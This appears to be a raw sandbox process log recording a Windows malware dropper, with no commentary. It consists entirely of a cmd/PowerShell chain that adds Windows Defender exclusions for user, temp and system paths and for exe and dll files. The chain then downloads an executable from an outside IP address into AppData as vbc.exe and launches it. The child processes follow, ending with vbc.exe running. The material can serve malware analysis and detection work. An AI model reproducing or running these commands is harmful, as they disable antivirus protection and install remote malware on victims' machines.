cmd.exe cmd /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & powershell "(New-Object System.Net.WebClient).DownloadFile('http://13.238.159.178/truth/svch.exe', (Join-Path -Path $env:AppData -ChildPath 'vbc.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'vbc.exe')" & exit
1816powershell.exe powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force
2612powershell.exe powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force
812powershell.exe powershell "(New-Object System.Net.WebClient).DownloadFile('http://13.238.159.178/truth/svch.exe', (Join-Path -Path $env:AppData -ChildPath 'vbc.exe'))"
2072powershell.exe powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'vbc.exe')"
540vbc.exe "C:\Users\test22\AppData\Roaming\vbc.exe"
1828